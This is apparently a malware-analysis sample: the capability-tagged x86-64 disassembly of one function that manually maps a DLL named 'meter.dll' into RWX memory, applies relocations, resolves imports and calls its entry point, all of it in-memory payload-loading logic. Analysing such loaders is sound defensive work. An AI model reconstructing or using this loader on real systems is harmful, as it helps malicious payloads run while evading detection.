Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x148
lea rbp, [rsp + 0x80]
call dbg.__main
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x90], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 0
mov edx, 0x80000000
lea rax, str.C:UsersAdministratorDesktopmeter.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0xffffffffffffffff
jne 0x1400014fe
lea rax, str.Failed_to_open_DLL_file
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140005490]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov eax, 1
jmp 0x140001b7a
mov rax, qword [rbp + 0x88]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0xffffffff
jne 0x14000156d
lea rax, str.Failed_to_get_DLL_file_size
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140005490]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140001b7a
mov ebx, dword [rbp + 0x84]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 8
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x78], rax
cmp qword [rbp + 0x78], 0
jne 0x1400015e3
lea rax, str.Failed_to_allocate_memory_for_DLL
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140005490]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140001b7a
mov dword [rbp - 0x1c], 0
lea r8, [rbp - 0x1c]
mov ecx, dword [rbp + 0x84]
mov rdx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x88]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
je 0x140001629
mov eax, dword [rbp - 0x1c]
cmp dword [rbp + 0x84], eax
je 0x140001630
mov eax, 1
jmp 0x140001635
mov eax, 0
test al, al
je 0x1400016a2
lea rax, str.Failed_to_read_DLL_file
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140005490]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov rdx, qword [rbp + 0x78]
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
mov eax, 1
jmp 0x140001b7a
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x78]
add rax, rdx
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov eax, dword [rax + 0x50]
mov eax, eax
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x58], rax
cmp qword [rbp + 0x58], 0
jne 0x140001761
lea rax, str.Failed_to_allocate_memory_for_DLL_image
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140005490]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov rdx, qword [rbp + 0x78]
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
mov eax, 1
jmp 0x140001b7a
mov rdx, qword [rbp + 0x58]
mov rax, qword [rbp + 0x68]
mov rax, qword [rax + 0x30]
sub rdx, rax
mov qword [rbp + 0x50], rdx
mov rax, qword [rbp + 0x68]
mov eax, dword [rax + 0x54]
mov ecx, eax
mov rdx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x58]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x68]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x68]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xb0], 0
jmp 0x140001817
mov rax, qword [rbp + 0xb8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x58]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0xb8]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x78]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp + 0xb8]
mov eax, dword [rax + 0x10]
mov ecx, eax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r8, rcx
mov rcx, rax
call sym.memcpy
add qword [rbp + 0xb8], 0x28
add qword [rbp + 0xb0], 1
mov rax, qword [rbp + 0x68]
movzx eax, word [rax + 6]
movzx eax, ax
cmp qword [rbp + 0xb0], rax
jb 0x1400017ba
mov rax, qword [rbp + 0x68]
mov rax, qword [rax + 0xb0]
mov qword [rbp - 0x24], rax
mov eax, dword [rbp - 0x24]
mov edx, eax
mov rax, qword [rbp + 0x58]
add rax, rdx
mov qword [rbp + 0x48], rax
mov dword [rbp + 0xac], 0
jmp 0x140001975
mov edx, dword [rbp + 0xac]
mov rax, qword [rbp + 0x48]
add rax, rdx
mov qword [rbp + 0x10], rax
add dword [rbp + 0xac], 8
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 4]
mov eax, eax
sub rax, 8
shr rax, 1
mov dword [rbp + 0xc], eax
mov edx, dword [rbp + 0xac]
mov rax, qword [rbp + 0x48]
add rax, rdx
mov qword [rbp], rax
mov dword [rbp + 0xa8], 0
jmp 0x140001966
add dword [rbp + 0xac], 2
mov eax, dword [rbp + 0xa8]
lea rdx, [rax + rax]
mov rax, qword [rbp]
add rax, rdx
movzx eax, byte [rax + 1]
and eax, 0xfffffff0
test al, al
je 0x14000195e
mov rax, qword [rbp + 0x10]
mov edx, dword [rax]
mov eax, dword [rbp + 0xa8]
lea rcx, [rax + rax]
mov rax, qword [rbp]
add rax, rcx
movzx eax, word [rax]
and ax, 0xfff
movzx eax, ax
add eax, edx
mov eax, eax
mov qword [rbp - 8], rax
mov qword [rbp - 0x38], 0
mov rdx, qword [rbp + 0x58]
mov rax, qword [rbp - 8]
add rax, rdx
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
lea rdx, [rbp - 0x38]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rdx
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
mov rdx, qword [rbp - 0x38]
mov rax, qword [rbp + 0x50]
add rax, rdx
mov qword [rbp - 0x38], rax
mov rdx, qword [rbp + 0x58]
mov rax, qword [rbp - 8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x38]
mov qword [rdx], rax
jmp 0x14000195f
nop
add dword [rbp + 0xa8], 1
mov eax, dword [rbp + 0xa8]
cmp eax, dword [rbp + 0xc]
jb 0x1400018a4
mov eax, dword [rbp - 0x20]
cmp dword [rbp + 0xac], eax
jb 0x140001859
mov qword [rbp + 0xa0], 0
mov rax, qword [rbp + 0x68]
mov rax, qword [rax + 0x90]
mov qword [rbp - 0x2c], rax
mov eax, dword [rbp - 0x2c]
mov edx, eax
mov rax, qword [rbp + 0x58]
add rax, rdx
mov qword [rbp + 0xa0], rax
lea rax, [0x1400050c8]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x38], 0
jmp 0x140001ace
mov rax, qword [rbp + 0xa0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x58]
add rax, rdx
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x38], rax
cmp qword [rbp + 0x38], 0
je 0x140001ac6
mov qword [rbp + 0x98], 0
mov rax, qword [rbp + 0xa0]
mov eax, dword [rax + 0x10]
mov edx, eax
mov rax, qword [rbp + 0x58]
add rax, rdx
mov qword [rbp + 0x98], rax
jmp 0x140001ab3
mov rax, qword [rbp + 0x98]
mov rax, qword [rax]
test rax, rax
jns 0x140001a6c
mov rax, qword [rbp + 0x98]
mov rax, qword [rax]
movzx eax, ax
mov qword [rbp + 0x18], rax
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x98]
mov qword [rax], rdx
jmp 0x140001aab
mov rax, qword [rbp + 0x98]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x58]
add rax, rdx
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
lea rdx, [rax + 2]
mov rax, qword [rbp + 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x98]
mov rdx, qword [rbp + 0x20]
mov qword [rax], rdx
add qword [rbp + 0x98], 8
mov rax, qword [rbp + 0x98]
mov rax, qword [rax]
test rax, rax
jne 0x140001a29
add qword [rbp + 0xa0], 0x14
mov rax, qword [rbp + 0xa0]
mov eax, dword [rax + 0xc]
test eax, eax
jne 0x1400019c9
mov rax, qword [rbp + 0x68]
mov eax, dword [rax + 0x28]
mov edx, eax
mov rax, qword [rbp + 0x58]
add rax, rdx
mov qword [rbp + 0x30], rax
mov r9, qword [rbp + 0x30]
mov rax, qword [rbp + 0x58]
mov r8d, 0
mov edx, 1
mov rcx, rax
call r9
test eax, eax
sete al
test al, al
je 0x140001b41
lea rax, str.DLL_entry_point_execution_failed
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cerr]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [0x140005490]
mov rdx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov rdx, qword [rbp + 0x78]
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapFree]
call rax
mov eax, 0
add rsp, 0x148
pop rbx
pop rbp
ret